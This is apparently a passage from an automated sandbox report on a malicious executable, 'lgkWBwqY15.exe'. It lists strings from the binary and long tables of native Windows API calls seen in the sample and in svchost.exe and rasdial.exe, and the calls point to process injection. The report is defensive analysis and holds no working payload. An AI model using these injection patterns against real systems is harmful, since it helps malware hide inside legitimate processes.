                Source: lgkWBwqY15.exeString found in binary or memory: CSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainermemstr_aa88dab9-4
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0042C8B3 NtClose,2_2_0042C8B3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72B60 NtClose,LdrInitializeThunk,2_2_03A72B60
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72DF0 NtQuerySystemInformation,LdrInitializeThunk,2_2_03A72DF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72C70 NtFreeVirtualMemory,LdrInitializeThunk,2_2_03A72C70
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A735C0 NtCreateMutant,LdrInitializeThunk,2_2_03A735C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A74340 NtSetContextThread,2_2_03A74340
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A74650 NtSuspendThread,2_2_03A74650
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72BA0 NtEnumerateValueKey,2_2_03A72BA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72B80 NtQueryInformationFile,2_2_03A72B80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72BE0 NtQueryValueKey,2_2_03A72BE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72BF0 NtAllocateVirtualMemory,2_2_03A72BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72AB0 NtWaitForSingleObject,2_2_03A72AB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72AF0 NtWriteFile,2_2_03A72AF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72AD0 NtReadFile,2_2_03A72AD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72FA0 NtQuerySection,2_2_03A72FA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72FB0 NtResumeThread,2_2_03A72FB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72F90 NtProtectVirtualMemory,2_2_03A72F90
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72FE0 NtCreateFile,2_2_03A72FE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72F30 NtCreateSection,2_2_03A72F30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72F60 NtCreateProcessEx,2_2_03A72F60
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72EA0 NtAdjustPrivilegesToken,2_2_03A72EA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72E80 NtReadVirtualMemory,2_2_03A72E80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72EE0 NtQueueApcThread,2_2_03A72EE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72E30 NtWriteVirtualMemory,2_2_03A72E30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72DB0 NtEnumerateKey,2_2_03A72DB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72DD0 NtDelayExecution,2_2_03A72DD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72D30 NtUnmapViewOfSection,2_2_03A72D30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72D00 NtSetInformationFile,2_2_03A72D00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72D10 NtMapViewOfSection,2_2_03A72D10
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72CA0 NtQueryInformationToken,2_2_03A72CA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72CF0 NtOpenProcess,2_2_03A72CF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72CC0 NtQueryVirtualMemory,2_2_03A72CC0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72C00 NtQueryInformationProcess,2_2_03A72C00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72C60 NtCreateKey,2_2_03A72C60
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A73090 NtSetValueKey,2_2_03A73090
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A73010 NtOpenDirectoryObject,2_2_03A73010
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A739B0 NtGetContextThread,2_2_03A739B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A73D10 NtOpenProcessToken,2_2_03A73D10
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A73D70 NtOpenThread,2_2_03A73D70
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051F4650 NtSuspendThread,LdrInitializeThunk,5_2_051F4650
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051F4340 NtSetContextThread,LdrInitializeThunk,5_2_051F4340
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051F2D10 NtMapViewOfSection,LdrInitializeThunk,5_2_051F2D10
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051F2D30 NtUnmapViewOfSection,LdrInitializeThunk,5_2_051F2D30
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051F2DD0 NtDelayExecution,LdrInitializeThunk,5_2_051F2DD0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051F2DF0 NtQuerySystemInformation,LdrInitializeThunk,5_2_051F2DF0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051F2C70 NtFreeVirtualMemory,LdrInitializeThunk,5_2_051F2C70
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051F2C60 NtCreateKey,LdrInitializeThunk,5_2_051F2C60
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051F2CA0 NtQueryInformationToken,LdrInitializeThunk,5_2_051F2CA0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051F2F30 NtCreateSection,LdrInitializeThunk,5_2_051F2F30
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051F2FB0 NtResumeThread,LdrInitializeThunk,5_2_051F2FB0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051F2FE0 NtCreateFile,LdrInitializeThunk,5_2_051F2FE0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051F2E80 NtReadVirtualMemory,LdrInitializeThunk,5_2_051F2E80
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051F2EE0 NtQueueApcThread,LdrInitializeThunk,5_2_051F2EE0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051F2B60 NtClose,LdrInitializeThunk,5_2_051F2B60
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051F2BA0 NtEnumerateValueKey,LdrInitializeThunk,5_2_051F2BA0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051F2BF0 NtAllocateVirtualMemory,LdrInitializeThunk,5_2_051F2BF0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051F2BE0 NtQueryValueKey,LdrInitializeThunk,5_2_051F2BE0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051F2AD0 NtReadFile,LdrInitializeThunk,5_2_051F2AD0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051F2AF0 NtWriteFile,LdrInitializeThunk,5_2_051F2AF0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051F35C0 NtCreateMutant,LdrInitializeThunk,5_2_051F35C0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051F39B0 NtGetContextThread,LdrInitializeThunk,5_2_051F39B0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051F2D00 NtSetInformationFile,5_2_051F2D00
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051F2DB0 NtEnumerateKey,5_2_051F2DB0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051F2C00 NtQueryInformationProcess,5_2_051F2C00
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051F2CC0 NtQueryVirtualMemory,5_2_051F2CC0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051F2CF0 NtOpenProcess,5_2_051F2CF0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051F2F60 NtCreateProcessEx,5_2_051F2F60
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051F2F90 NtProtectVirtualMemory,5_2_051F2F90
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051F2FA0 NtQuerySection,5_2_051F2FA0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051F2E30 NtWriteVirtualMemory,5_2_051F2E30
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051F2EA0 NtAdjustPrivilegesToken,5_2_051F2EA0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051F2B80 NtQueryInformationFile,5_2_051F2B80
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051F2AB0 NtWaitForSingleObject,5_2_051F2AB0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051F3010 NtOpenDirectoryObject,5_2_051F3010
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051F3090 NtSetValueKey,5_2_051F3090
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051F3D10 NtOpenProcessToken,5_2_051F3D10
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051F3D70 NtOpenThread,5_2_051F3D70
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_03279710 NtDeleteFile,5_2_03279710
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_032797B0 NtClose,5_2_032797B0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_03279620 NtReadFile,5_2_03279620
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_032794B0 NtCreateFile,5_2_032794B0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_03279920 NtAllocateVirtualMemory,5_2_03279920
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005E6606: CreateFileW,DeviceIoControl,CloseHandle,0_2_005E6606
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005DACC5 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,0_2_005DACC5
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005E79D3 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,0_2_005E79D3
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005CB0430_2_005CB043
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005B32000_2_005B3200
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005D410F0_2_005D410F
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005C02A40_2_005C02A4
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005AE3E30_2_005AE3E3
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005D038E0_2_005D038E
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005D467F0_2_005D467F
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005C06D90_2_005C06D9
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_0060AACE0_2_0060AACE
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005D4BEF0_2_005D4BEF
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005CCCC10_2_005CCCC1
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005AAF500_2_005AAF50
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005A6F070_2_005A6F07
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005BB11F0_2_005BB11F
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_006031BC0_2_006031BC
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005CD1B90_2_005CD1B9
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005D724D0_2_005D724D
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005C123A0_2_005C123A
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005E13CA0_2_005E13CA
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005A93F00_2_005A93F0
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005BF5630_2_005BF563
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005EB6CC0_2_005EB6CC
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005A96C00_2_005A96C0
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_0060F7FF0_2_0060F7FF
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005A77B00_2_005A77B0
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005D79C90_2_005D79C9
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005BFA570_2_005BFA57
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005B3B700_2_005B3B70
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005A9B600_2_005A9B60
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005A7D190_2_005A7D19
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005BFE6F0_2_005BFE6F
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005C9ED00_2_005C9ED0
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005A7FA30_2_005A7FA3
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_01037FE00_2_01037FE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004187732_2_00418773
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041696F2_2_0041696F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004169732_2_00416973
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004101C32_2_004101C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040E1B32_2_0040E1B3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004022FD2_2_004022FD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040E2FE2_2_0040E2FE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004023002_2_00402300
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040E3032_2_0040E303
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004026602_2_00402660
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00402E802_2_00402E80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0042EF332_2_0042EF33
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040FF9C2_2_0040FF9C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040FFA32_2_0040FFA3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4E3F02_2_03A4E3F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B003E62_2_03B003E6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AFA3522_2_03AFA352
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC02C02_2_03AC02C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE02742_2_03AE0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF41A22_2_03AF41A2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B001AA2_2_03B001AA
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF81CC2_2_03AF81CC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A301002_2_03A30100
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADA1182_2_03ADA118
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC81582_2_03AC8158
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD20002_2_03AD2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3C7C02_2_03A3C7C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A407702_2_03A40770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A647502_2_03A64750
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5C6E02_2_03A5C6E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B005912_2_03B00591
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A405352_2_03A40535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AEE4F62_2_03AEE4F6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE44202_2_03AE4420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF24462_2_03AF2446
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF6BD72_2_03AF6BD7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AFAB402_2_03AFAB40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3EA802_2_03A3EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A429A02_2_03A429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B0A9A62_2_03B0A9A6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A569622_2_03A56962
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A268B82_2_03A268B8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6E8F02_2_03A6E8F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4A8402_2_03A4A840
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A428402_2_03A42840
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ABEFA02_2_03ABEFA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4CFE02_2_03A4CFE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A32FC82_2_03A32FC8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A82F282_2_03A82F28
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A60F302_2_03A60F30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE2F302_2_03AE2F30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB4F402_2_03AB4F40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A52E902_2_03A52E90
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AFCE932_2_03AFCE93
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AFEEDB2_2_03AFEEDB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AFEE262_2_03AFEE26
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40E592_2_03A40E59
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A58DBF2_2_03A58DBF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3ADE02_2_03A3ADE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4AD002_2_03A4AD00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADCD1F2_2_03ADCD1F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE0CB52_2_03AE0CB5
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A30CF22_2_03A30CF2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40C002_2_03A40C00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A8739A2_2_03A8739A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF132D2_2_03AF132D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2D34C2_2_03A2D34C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A452A02_2_03A452A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE12ED2_2_03AE12ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5B2C02_2_03A5B2C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4B1B02_2_03A4B1B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A7516C2_2_03A7516C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2F1722_2_03A2F172
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B0B16B2_2_03B0B16B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF70E92_2_03AF70E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AFF0E02_2_03AFF0E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AEF0CC2_2_03AEF0CC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A470C02_2_03A470C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AFF7B02_2_03AFF7B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF16CC2_2_03AF16CC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A856302_2_03A85630
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADD5B02_2_03ADD5B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B095C32_2_03B095C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF75712_2_03AF7571
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AFF43F2_2_03AFF43F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A314602_2_03A31460
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5FB802_2_03A5FB80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB5BF02_2_03AB5BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A7DBF92_2_03A7DBF9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AFFB762_2_03AFFB76
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADDAAC2_2_03ADDAAC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A85AA02_2_03A85AA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE1AA32_2_03AE1AA3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AEDAC62_2_03AEDAC6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB3A6C2_2_03AB3A6C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AFFA492_2_03AFFA49
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF7A462_2_03AF7A46
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD59102_2_03AD5910
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A499502_2_03A49950
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5B9502_2_03A5B950
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A438E02_2_03A438E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAD8002_2_03AAD800
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AFFFB12_2_03AFFFB1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A41F922_2_03A41F92
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A03FD22_2_03A03FD2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A03FD52_2_03A03FD5
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AFFF092_2_03AFFF09
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A49EB02_2_03A49EB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5FDC02_2_03A5FDC0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF7D732_2_03AF7D73
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A43D402_2_03A43D40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF1D5A2_2_03AF1D5A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AFFCF22_2_03AFFCF2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB9C322_2_03AB9C32
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051C05355_2_051C0535
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_052805915_2_05280591
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_052644205_2_05264420
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_052724465_2_05272446
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_0526E4F65_2_0526E4F6
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051E47505_2_051E4750
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051C07705_2_051C0770
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051BC7C05_2_051BC7C0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051DC6E05_2_051DC6E0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051B01005_2_051B0100
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_0525A1185_2_0525A118
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_052481585_2_05248158
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_052801AA5_2_052801AA
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_052781CC5_2_052781CC
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_052520005_2_05252000
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_0527A3525_2_0527A352
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_052803E65_2_052803E6
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051CE3F05_2_051CE3F0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_052602745_2_05260274
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_052402C05_2_052402C0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051CAD005_2_051CAD00
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_0525CD1F5_2_0525CD1F
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051D8DBF5_2_051D8DBF
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051BADE05_2_051BADE0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051C0C005_2_051C0C00
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_05260CB55_2_05260CB5
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051B0CF25_2_051B0CF2
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_05202F285_2_05202F28
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_05262F305_2_05262F30
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051E0F305_2_051E0F30
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_05234F405_2_05234F40
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_0523EFA05_2_0523EFA0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051B2FC85_2_051B2FC8
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051CCFE05_2_051CCFE0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_0527EE265_2_0527EE26
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051C0E595_2_051C0E59
